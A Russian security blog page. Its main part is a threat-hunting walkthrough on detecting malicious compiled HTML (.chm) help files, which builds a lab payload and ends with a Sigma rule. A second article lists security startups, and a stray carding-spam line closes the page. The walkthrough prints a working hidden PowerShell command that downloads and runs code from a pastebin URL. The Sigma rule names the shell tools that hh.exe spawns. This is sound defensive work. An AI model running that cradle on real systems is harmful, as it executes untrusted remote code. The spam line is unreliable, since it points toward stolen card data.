Согласно статистике множества компаний, работающих в области информационной безопасности (ИБ), наблюдаются высокие темпы развития тактик и техник, используемых злоумышленниками для реализации киберпреступлений.
Согласно статистике множества компаний, работающих в области информационной безопасности (ИБ), наблюдаются высокие темпы развития тактик и техник, используемых злоумышленниками для реализации киберпреступлений. Тактики нападения совершенствуются для скрытия следов присутствия злоумышленников и обхода систем защиты информации (СЗИ). Это повышает успешность атак на информационные инфраструктуры компаний.
Со стороны защиты выступают подразделения ИБ компаний, в частности SOC (Security Operations Center). Он специализируется на выявлении инцидентов ИБ и реагировании на них. Для выявления большинства известных инцидентов используется сигнатурный подход, реализуемый СЗИ и, в частности, системами класса SIEM. Они способны обрабатывать огромное количество событий от различных источников событий ИБ. Успешность выявления зависит от качества правил СЗИ и квалификации персонала SOC. Каким же образом развивать эти ключевые направления? В этом вопросе нам поможет процесс Threat Hunting.
Threat Hunting
Threat Hunting (TH) дословно переводится как «охота на угрозы». Существует множество определений, но все они основаны на личном практическом опыте поиска новых угроз. Проблема заключается в том, что данный процесс детально не описан, и нет эталона, по которому SOC может выстраивать свои процессы. В данной статье мы бы хотели поделиться опытом Angara Cyber Resilience Center (ACRC) по основным процедурам TH. Threat Hunting – это творческий процесс по активному или проактивному поиску и обнаружению новых или неизвестных угроз.
В общем виде процесс TH состоит из следующих этапов:
1. Формулировка гипотезы.
2. Анализ данных для подтверждения гипотезы.
3. Если гипотеза подтверждена, то собираются индикаторы, по которым можно автоматизировано выявлять подобные угрозы, в противном случае процесс начинается заново.
4. Разработка новых правил SIEM, IDS либо других СЗИ.
Активный TH является расширением сигнатурного мониторинга и заключается в анализе событий, поступающих в SIEM, для подтверждения или опровержения гипотезы. К примеру, могут анализироваться события различных информационных систем и СЗИ, выявляться отклонения от штатной работы системы, анализироваться аномалии с применением средств визуализации событий и т.д. Все предпринимаемые действия аналитика в данной ситуации ограничены его личным опытом, знаниями тактик поведения злоумышленника и особенностями работы различных объектов инфраструктуры. Порой подобная изыскательская деятельность требует немало времени, и в результате гипотеза может быть не подтверждена. Данный результат нельзя трактовать как «провал» или «неуспех», в результате аналитик получил определенные знания и опыт. Разберем типовые ситуации, при которых аналитик не смог подтвердить ту или иную гипотезу:
1. Дефицит знаний для подтверждения именно этой гипотезы.
2. Отсутствие необходимых событий от определенной системы из-за настроек политик аудита.
3. Отсутствие инцидента ИБ, так как на момент проверки система могла работать штатно, никаких атак не было.
Подобные изыскания похожи на поиск иголки в стогу сена, когда непонятно, есть ли иголка, как она должна выглядеть, и нормально ли то, что я нашел для данного стога сена. Это не значит, что не нужно проводить активный TH, достаточно осуществлять проверки по заранее проработанному чек-листу. Это позволит оптимально использовать время, учитывать особенности защищаемой инфраструктуры и вести базу знаний для передачи информации другим аналитикам. Одним словом, активный TH является неотъемлемой частью мониторинга, но с определенными «правилами игры» и ограничениями.
Проактивный TH нацелен на выявление новых угроз. Понятие «новое» в современном мире ИБ является чем-то неопределенным. Любой рассматриваемый вопрос для кого-то будет являться новым, а для кого-то – старым и хорошо проработанным. Попробуем в этом разобраться. Как мы уже знаем, для выявления инцидентов ИБ нужны определенный набор правил и знания аналитика SOC. Логичнее всего считать «новым» те угрозы, которые не попадают ни в правила для автоматизированного выявления, ни в текущий перечень знаний аналитиков. Для этого необходим учет данных правил в виде матрицы на основе Cyber-Kill Chain, содержащей в себе перечень угроз, на которые планируется реагировать, и перечень правил, при помощи которых данные инциденты будут выявляться. Разберем данный процесс на конкретном примере.
Исходные данные
Допустим, что при анализе компетенций SOC выясняется, что отсутствуют или недостаточно проработаны текущие правила либо компетенции по определенным тактикам поведения злоумышленника. Для инвентаризации можно равняться на одну из наиболее популярных и проработанных Knowledge Base в области информационной безопасности – Mitre ATT&CK .
Mitre ATT&CK – это матрица техник злоумышленника в разрезе стадий атак. По каждой технике есть подробное описание с теоретическими советами для выявления подобной активности. Для примера рассмотрим технику с ID: T1223 « Compiled HTML File », которая свойственна стадиям «Execution» и «Defense Evasion».
Формулировка гипотезы
Скомпилированные файлы HTML-справки представляют собой файлы с расширением .chm и содержат сжатые и скомпилированные данные, такие как: HTML-документы, изображения, скрипты на языках программирования VBA, JScript, Java, ActiveX. Они исполняются стандартной справочной системой платформы Windows (Microsoft HTML Help) и используются различными приложениями в качестве офлайн-справки, работая во всех версиях ОС Windows.
С точки зрения информационной безопасности существует риск исполнения произвольного кода:
при внесении изменений или подмене файлов справки легитимных приложений;
при доставке файлов справки под видом легитимных документов (фишинг) через электронную почту, Интернет и т.д.
Для подтверждения нашей гипотезы изучаем доклады специалистов ИБ. К примеру, в данной статье описываются индикаторы поведения банковского трояна, распространение которого осуществлялось по электронной почте в файлах .chm. В подобных случаях скомпилированный файл HTML-справки используется как контейнер для доставки и запуска полезной нагрузки. На данном этапе можно считать данную угрозу актуальной и приступать к проверке нашей гипотезы.
Анализ данных для подтверждения гипотезы
Так как мы решили действовать проактивно, то не будем ждать атаки на защищаемую инфраструктуру для анализа возможных индикаторов компрометации. К моменту реальной атаки лучше быть уже готовым, для этого мы будем имитировать деятельность вредоносного программного обеспечения в изолированной тестовой среде.
Для подтверждения гипотезы необходимо выполнить ряд работ, условно разделенных на следующие подэтапы:
1) Подготовка тестовой среды.
2) Подготовка тестового вредоносного программного обеспечения (ВПО).
3) Расследование активности тестового ВПО.
Данный вид атаки производится локально на конечных хостах и не требует разворачивания дополнительных систем. Тесты будем проводить на двух хостах под управлением ОС Windows 10, 7. Для анализа активности на хостах нам потребуется организовать сбор журналов ОС и журналов Sysmon. Для удобства работы с событиями будем использовать стек ELK.
Sysmon – это утилита, которая собирает подробную информацию об активности процессов, загрузке драйверов, сетевых соединениях, создании файлов и т.д. События Sysmon регистрируются благодаря установке специального драйвера, перехватывающего действия процессов. Именно на события данной утилиты мы и будем опираться для выявления индикаторов компрометации. Более подробно о преимуществах использования Sysmon рассказано в статье наших коллег « Windows vs Sysmon ».
Изучив несколько докладов различных специалистов в области ИБ по активности ВПО на основе .chm файлов, можно прийти к выводу, что использование возможностей powershell для формирования полезной нагрузки по-прежнему занимает лидирующую позицию. Детальная информация хорошо описана на данном ресурсе . Мы также будем использовать powershell в нашем примере.
В качестве полезной нагрузки используется команда для загрузки и запуска кода с внешнего ресурса. Данная активность типична для большинства ВПО.
powershell.exe -NoP -NonI -w hidden -Exec Bypass -c IEX ((New-Object Net.WebClient).DownloadString(‘ https://pastebin.com/raw/twerXyRX') )
На внешнем ресурсе разместим команду для запуска калькулятора, таким образом мы поймем, что скрипт отработал успешно.
cmd.exe /c calc.exe
Далее создаем .htm-файл, в теле которого укажем объект, запускающий нашу полезную нагрузку.
Для компиляции файла справки будем использовать утилиту htm2chm, указав ей в качестве источника подготовленный .htm-файл. Итоговый файл запускаем на тестовых машинах и приступаем к расследованию активности.
Расследование активности тестового ВПО
При запуске файла справки никаких дополнительных действий от пользователя не требовалось, полезная нагрузка выполнилась автоматически.
В ходе расследования устанавливаем следующую последовательность событий:
1) Запуск тестового ВПО. События Windows ID 4688 и Sysmon ID 1. Для наглядности будем ориентироваться на события Sysmon, так как в них больше полезной информации:
2) Процесс hh.exe (PID 3192) запускает powershell.exe (PID 3532) с полезной нагрузкой. События Windows ID 4688 и Sysmon ID 1:
3) Процесс powershell (PID 3532) устанавливает сетевое соединение к внешнему ресурсу. Событие Sysmon ID 3:
4) Процесс powershell (PID 3532) запускает cmd.exe, который открывает калькулятор. События Windows ID 4688 и Sysmon ID 1:
5) Завершение всех вышеописанных процессов. События Windows ID 4689 и Sysmon ID 5.
Подтверждение гипотезы
Основным критерием для подтверждения гипотезы является актуальность данной техники. Как мы установили на практике, запуск подобных файлов возможен на хостах с недостаточно строгими политиками ОС и СЗИ. В связи с тем, что существует возможность обфускации запускаемых скриптов, вероятность успеха выполнения полезной нагрузки повышается. Эффективное предотвращение подобной активности средствами системы антивирусной защиты возможно только при поведенческом анализе. Также существует возможность запуска полезной нагрузки, написанной для различных командных оболочек ОС Windows.
В качестве индикатора данной техники можно использовать факт запуска процессом hh.exe различных дочерних процессов, способных выполнить полезную нагрузку на скомпрометированном хосте. Дальнейшая активность, рассматриваемая в нашем примере, является частным случаем возможных атак с применением командной оболочки powershell, что относится к другим техникам, применяемым злоумышленниками.
Для автоматизации выявления подобной активности необходима разработка правила для SIEM.
Разработка правила SIEM
Перед началом разработки правила необходимо убедиться в отсутствии большого количества ложноположительных срабатываний, для этого формируем запрос и выполняем его на данных реальной инфраструктуры. По результатам выполнения запроса за достаточно большой промежуток времени не выявлено ни одного факта запуска каких-либо процессов справочной системой Windows. К слову, запуск .chm встречается достаточно редко, поскольку в приложениях, в основном, используется онлайн-справка.
Правило будем составлять в формате Sigma. Sigma – это международный проект по разработке правил SIEM, который имеет собственный формат правил и инструменты для конвертации правил в формат различных SIEM. Благодаря своей универсальности, данный проект используется различными SOC как площадка для обмена знаниями в области выявления инцидентов ИБ и поддержания собственных правил SIEM в «боевом» состоянии.
Правило для нашего примера будет выглядеть следующим образом:
title: HTML Help Shell Spawn
status: experimental
description: Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)
tags:
– attack.execution
– attack.defense_evasion
– attack.t1223
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage: ‘C:\Windows\hh.exe’
Image|endswith:
– ‘\cmd.exe’
– ‘\powershell.exe’
– ‘\wscript.exe’
– ‘\cscript.exe’
– ‘\regsvr32.exe’
– ‘\wmic.exe’
– ‘\rundll32.exe’
condition: selection
fields:
– CommandLine
– ParentCommandLine
falsepositives:
– unknown
level: high
Заключение
Даже для такого простого примера придется пройти трудоемкий путь от сбора необходимой информации до формирования правила автоматизированного выявления. Эти трудозатраты окупаются впоследствии. В ходе данной деятельности аналитик получает хороший опыт, который сможет применять на практике. Введение нового правила автоматизированного выявления угроз позволяет сократить время на выявление и расследование инцидента. К тому же ведение базы знаний способствует передаче накопленных знаний другим аналитикам, что повышает общий уровень компетенций подразделения и сокращает время обучения новых сотрудников.
Не стоит забывать и про участие в различных сообществах в сфере информационной безопасности для обмена опытом. Только благодаря общим усилиям можно противостоять современным угрозам.
Автор: Максим Павлунин, руководитель обособленного подразделения Angara Professional Assistance (входит в группу компаний Angara)
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
cc fullz sites cvv with pin